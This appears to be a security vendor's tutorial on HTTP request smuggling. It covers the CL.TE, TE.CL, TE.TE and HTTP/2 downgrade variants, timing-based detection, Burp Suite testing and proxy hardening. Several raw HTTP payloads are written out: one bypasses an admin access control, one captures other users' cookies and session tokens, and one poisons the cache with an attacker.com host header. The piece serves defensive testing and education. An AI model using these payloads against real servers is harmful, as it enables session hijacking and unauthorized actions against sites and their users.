HTTP Request Smuggling: How to Find and Exploit CL.TE and TE.CL Vulnerabilities
HTTP request smuggling is one of the more counterintuitive web vulnerabilities to grasp because the attack doesn't target a specific endpoint in isolation — it exploits a disagreement between two servers (typically a front-end proxy and a back-end application server) about where one HTTP request ends and the next begins. When these servers parse the same byte stream differently, an attacker can "smuggle" a hidden request into the back-end server's queue, poisoning the next legitimate user's request.
The vulnerability surfaces wherever a reverse proxy, load balancer, or CDN sits in front of an origin server and both handle HTTP/1.1 connections with keep-alive. This is the default architecture for most production applications — which is why request smuggling has appeared in major bug bounty programs at Netflix, Salesforce, and payment processors.
The Mechanics: Why CL and TE Conflict
HTTP/1.1 defines two ways to specify a request body's length:
- Content-Length (CL) — The body is exactly N bytes, as specified by the header value.
- Transfer-Encoding: chunked (TE) — The body is sent in chunks, each preceded by its size in hex; a zero-length chunk (
0\r\n\r\n) signals the end.
RFC 7230 says that when both headers are present, Transfer-Encoding takes precedence and Content-Length should be ignored. But different HTTP implementations handle this differently — some honor Content-Length, some honor Transfer-Encoding, and some handle neither correctly in edge cases.
The three attack variants are named after which server uses which header:
| Variant | Front-End Uses | Back-End Uses |
|---|---|---|
| CL.TE | Content-Length | Transfer-Encoding |
| TE.CL | Transfer-Encoding | Content-Length |
| TE.TE | Transfer-Encoding | Transfer-Encoding (but one is confused by obfuscation) |
CL.TE: Front-End Trusts Content-Length, Back-End Uses Chunked
The front-end reads exactly N bytes (as specified by Content-Length) and forwards them to the back-end. The back-end parses this as a chunked request, finding a smuggled request in what the front-end thought was just the body of the first request.
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
The front-end sees Content-Length: 13 and forwards 13 bytes of body (0\r\n\r\nSMUGGLED). The back-end parses this as chunked: chunk of size 0 (end of request), followed by SMUGGLED — which is now sitting at the start of the connection buffer, waiting to be prepended to the next incoming request.
TE.CL: Front-End Uses Chunked, Back-End Trusts Content-Length
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
The front-end parses this as chunked: a chunk of 8 bytes, then a terminating zero chunk. It forwards the entire thing to the back-end. The back-end sees Content-Length: 3 and reads only 8\r\n as the body (3 bytes), leaving the rest (SMUGGLED\r\n0\r\n\r\n) in the buffer as the start of the next request.
TE.TE: Obfuscation to Disable One Server's Chunked Parsing
When both servers support Transfer-Encoding, the attack uses obfuscated or malformed TE headers to make one server ignore the encoding and fall back to Content-Length:
# Obfuscation techniques that disable TE parsing in some implementations
Transfer-Encoding: xchunked
Transfer-Encoding : chunked (space before colon)
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked (tab character)
X: X[\n]Transfer-Encoding: chunked (header injection)
Transfer-Encoding
: chunked (line-folded header)
The goal is for one server to ignore the malformed TE header and use Content-Length, while the other server still processes TE. This creates the CL/TE disagreement needed for smuggling.
Detection: Timing-Based Techniques
Safe detection uses timing attacks rather than actually poisoning other users' requests. The principle: if the server is parsing the body differently than expected, a crafted payload will cause a timeout or a delayed response.
CL.TE Detection (Time-Delay)
POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
If the server is CL.TE vulnerable: the front-end uses Content-Length (4 bytes: 1\r\nA\r\n... but wait, let's be precise). The front-end forwards based on Content-Length. The back-end processes chunked: chunk of 1 byte, then expects the terminating zero chunk, but there is none. The back-end hangs waiting for the rest of the chunked data. If the response is delayed by ~10 seconds, the server is CL.TE vulnerable.
TE.CL Detection (Time-Delay)
POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
The front-end uses TE: zero chunk ends the request, X is left in the buffer. The back-end uses CL: expects 6 bytes of body, but only receives 0\r\n\r\n (5 bytes), then waits for the remaining byte. Delayed response = TE.CL vulnerable.
Confirming With a Differential Response
Once you identify a timing-based signal, confirm with a differential response attack. Send a smuggled request that causes the next response to be different in a predictable way:
# CL.TE confirmation — smuggle a GET /404notexist request
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 35
Transfer-Encoding: chunked
0
GET /404notexist HTTP/1.1
Foo: x
Send this request twice in quick succession. If the second response returns a 404 (for the smuggled GET /404notexist) instead of the normal response, smuggling is confirmed. The smuggled request prepended itself to the second request's buffer.
Exploitation: What Smuggling Enables
Bypassing Front-End Security Controls
Front-end proxies often enforce access control, WAF rules, or header validation. A smuggled request reaches the back-end directly, bypassing these controls:
# Front-end blocks /admin/* — smuggle a direct back-end request
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 58
Transfer-Encoding: chunked
0
GET /admin/delete-user?id=1 HTTP/1.1
X-Ignore: x
If the front-end's ACL blocks /admin/* but the back-end serves it for "internal" requests, the smuggled request bypasses the access control entirely.
Capturing Other Users' Requests
This is the highest-impact exploitation technique. By smuggling a partial POST request, you cause the next legitimate user's request to be appended to your request body — which you can then read back in the response.
# Smuggle a partial POST to /capture-endpoint
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 123
Transfer-Encoding: chunked
0
POST /capture HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200 ← large enough to capture the next user's request
data=
The next user's request (including their cookies, session tokens, CSRF tokens, and request body) gets appended to data= and stored in your /capture endpoint's body. Retrieve it by requesting /capture. This is a session hijacking primitive that works without any XSS or phishing.
Web Cache Poisoning via Smuggling
Smuggling can poison the reverse proxy's cache, delivering malicious responses to all users who request a given URL:
# Poison the cache for GET /home
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 120
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: attacker.com
If the back-end reflects X-Forwarded-Host in responses (common for canonical URLs, asset paths, or redirect targets), the poisoned response containing attacker.com references gets cached and served to all subsequent users requesting /home.
HTTP/2 and Request Smuggling
HTTP/2 has a binary frame format that eliminates the ambiguity of HTTP/1.1 header parsing. However, most back-end infrastructure still speaks HTTP/1.1. Front-ends that accept HTTP/2 from clients and downgrade to HTTP/1.1 for back-end connections are vulnerable to H2.CL and H2.TE smuggling variants:
# HTTP/2 request with injected Content-Length header
:method: POST
:path: /
:authority: vulnerable.com
content-length: 0 ← injected pseudo-header
GET /smuggled HTTP/1.1
Host: vulnerable.com
The HTTP/2 front-end may accept the injected content-length header and pass it through in the HTTP/1.1 downgrade, creating a CL.TE condition on the back-end. This is more difficult to test because most HTTP/2 libraries reject duplicate pseudo-headers — use Burp Suite's HTTP/2 support which allows sending non-compliant requests.
Testing with Burp Suite
Burp Suite's HTTP Request Smuggler extension (available from the BApp Store) automates detection across all variants. Key settings:
- Disable automatic Content-Length updates — Burp recalculates CL by default, which breaks smuggling payloads.
- Set a 10-second timeout for timing-based detection.
- Use "HTTP/2" mode in the Repeater for H2.CL/H2.TE testing.
- Run the "HTTP Request Smuggling" scan check via the Burp Scanner for automated detection.
Prevention
Use HTTP/2 End-to-End
HTTP/2's binary framing eliminates the CL/TE ambiguity entirely. Use HTTP/2 between the front-end and back-end, not just between the client and front-end. Most modern CDNs and load balancers support HTTP/2 origin connections.
Normalize Ambiguous Requests at the Edge
Configure your reverse proxy to reject or normalize requests that contain both Content-Length and Transfer-Encoding headers:
# HAProxy — reject requests with both headers
frontend http-in
http-request deny if { req.hdr_cnt(content-length) gt 1 }
http-request deny if { req.hdr_cnt(transfer-encoding) gt 1 }
# Nginx — disable keep-alive to prevent connection reuse
proxy_http_version 1.0;
# Or explicitly:
proxy_set_header Connection close;
Close Back-End Connections After Each Request
Request smuggling requires connection reuse between the front-end and back-end. Disabling keep-alive on the back-end connection prevents smuggled requests from being queued:
# Nginx — use HTTP/1.0 for upstream connections (no keep-alive)
proxy_http_version 1.0;
proxy_set_header Connection "";
This has a performance cost (new TCP connection per request) but eliminates the attack surface entirely. For high-traffic applications, use HTTP/2 to the origin instead.
HTTP request smuggling is rarely caught by standard scanners because detection requires sending non-standard HTTP and interpreting timing responses. Ironimo's testing approach includes timing-based smuggling detection across CL.TE, TE.CL, and TE.TE variants — not just header presence checks.
Start free scan